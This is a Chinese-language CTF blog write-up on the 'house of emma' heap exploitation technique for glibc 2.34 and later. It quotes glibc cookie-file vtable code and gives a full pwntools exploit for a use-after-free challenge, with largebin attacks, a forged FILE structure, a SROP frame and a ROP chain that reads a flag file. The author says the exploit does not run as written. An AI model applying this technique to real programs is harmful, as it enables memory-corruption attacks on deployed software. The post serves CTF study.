house of emma
196082 慢慢好起来

在glibc2.34中删除了malloc_hook和free_hook,所以孕育而生了一个新的利用方法house of emma。这篇文章需要两个前置知识largebin attackhouse of kiwi在这里就不再提了。然后后面一篇文章上次好像提了是写how2heap在glibc2.31之后的变化总结,不过会新加一个利用方式也是我今天才知道的Fastbin Reverse Into Tcache(先给自己挖个坑)

利用原理

为什么说house of emma的前置知识需要house of kiwi是因为其退出的方式是_exit(0)所以没有办法使用以往的fsop的方式来进行,调用的链子还是使用assert来触发。他们之间的不同点就是这里利用的vtable不一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

这里使用的是上面的这个vtable,其中的几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif

return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif

if (close_cb == NULL)
return 0;

return close_cb (cfile->__cookie);
}

都是直接调用指针当作函数来调用,也就存在了一定的安全隐患了。

image-20220517140003113

这里查看汇编代码可以看到是将取出来的值首先循环右移了0x11接着与fs:0x30进行异或之后检验rax是否为空,最后再调用rax。

1
2
3
#  define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard_local)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)

其实异或这一部也就是上面调用的这个函数干的事情。所以如果我们想要劫持程序执行流还必须泄漏这个的话就很麻烦了,所以我们不选择泄漏他的值,我们选择覆盖他的值,后面在往这里写入地址的时候作相应的处理即可。

题目house of emma

题目的逆向过程没什么好说的又不是cpp,所以这里就不再提。

然后题目存在的漏洞就是free之后没有清空指针导致UAF了。

其实懂了上面所描述的这道题就很好理解了,直接可以自己做出来了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
r = process('./pwn')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
payload = b''


def create(idx, size):
global payload
payload += p8(0x1)
payload += p8(idx)
payload += p16(size)


def delete(idx):
global payload
payload += p8(0x2)
payload += p8(idx)


def show(idx):
global payload
payload += p8(0x3)
payload += p8(idx)


def edit(idx, content):
global payload
payload += p8(0x4)
payload += p8(idx)
print(len(content))
payload += p16(len(content))
payload += content


def run():
global payload
payload += p8(0x5)
if len(payload) > 0x500:
error('!!!')
r.recvuntil(b'Pls input the opcode')
r.send(payload)
payload = b''


create(0, 0x410)
create(1, 0x410)
create(2, 0x420)
create(3, 0x430)
delete(2)
run()
show(2)
run()
r.recvline()
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x1f30b0
print(hex(libc_base))

gadget_addr = libc_base + 0x146020
pointer_chk_guard_local = libc_base + 0x234c10 + 0x2000
setcontext_addr = libc_base + 0x50bfd
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rax = libc_base + next(libc.search(asm('pop rax\nret')))
syscall = libc_base + next(libc.search(asm('syscall\nret')))

edit(2, b'a' * 0x10)
show(2)
run()
r.recvuntil(b'a' * 0x10)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x2ae0
print(hex(heap_base))

delete(0)
edit(
2,
flat(libc_base + 0x1f30b0, libc_base + 0x1f30b0, heap_base + 0x2ae0,
libc_base + libc.symbols['stderr'] - 0x20))
create(5, 0x430)
create(0, 0x410)
run()

delete(0)
edit(
2,
flat(libc_base + 0x1f30b0, libc_base + 0x1f30b0, heap_base + 0x2ae0,
pointer_chk_guard_local))
create(6, 0x430)
run()


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


create(7, 0x450)
delete(7)
create(8, 0x430)
run()
edit(7, b'a' * 0x430 + flat(0, 0x300))
run()

next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0xffffffffffffffff)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40)
fake_IO_FILE += p64(srop_addr)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))

fake_frame_addr = srop_addr
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1

rop_data = [
pop_rax, 2, syscall, pop_rax, 0, pop_rdi, 3, pop_rsi,
fake_frame_addr + 0x200, syscall, pop_rax, 1, pop_rdi, 1, pop_rsi,
fake_frame_addr + 0x200, syscall
]
pay = p64(0) + p64(fake_frame_addr) + b'\x00' * 0x10 + p64(setcontext_addr +
61)
pay += bytes(frame).ljust(0xF8, b'\x00')[0x28:] + b'flag'.ljust(
0x10, b'\x00') + flat(rop_data)

edit(0, pay)
edit(2, fake_IO_FILE)
run()

create(9, 0x450)
run()

gdb.attach(r)

r.interactive()

反思与总结

上面exp其实是跑不通的,主要原因就是ld在不同环境的偏移不一致导致的,在我的docker环境中pointer_chk_guard_local指针的地址位于不可写的地方,所以我就随便找到了个地方代替他,就假装修改了。

这一利用方式中可以看出来大量使用了large bin attack,并且题目的并没有存在可以任意地址写的漏洞,或者说是构造出这样一个漏洞出来,所以这一利用方式的限制条件其实也比较小。


参考文章:

https://blog.wjhwjhn.com/archives/751/

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量